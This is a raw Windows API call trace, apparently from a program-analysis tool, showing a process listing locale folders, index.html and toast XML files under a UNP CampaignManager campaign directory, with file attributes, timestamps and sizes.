	[0154.773] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.773] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.774] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl-ES", cAlternateFileName="")) returned 1
	[0154.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.774] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES") returned 100
	[0154.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\gl-ES\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.776] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8397774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f315afa, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.776] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.776] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.776] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.777] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.777] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f315afa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f315afa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.777] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.778] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0154.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.778] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL") returned 100
	[0154.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83e88ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xac78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.781] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.781] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0154.782] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0154.782] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0154.782] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR") returned 100
	[0154.782] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hr-HR\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa83eab4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f33bd1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x98b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.121] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.121] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0155.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.122] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0155.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.122] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU") returned 100
	[0155.122] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\hu-HU\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa80d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0155.125] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0155.125] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0155.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0155.126] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.126] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="is-IS", cAlternateFileName="")) returned 1
	[0155.126] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0155.126] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS") returned 100
	[0155.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\*", lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84b3b2f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.129] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
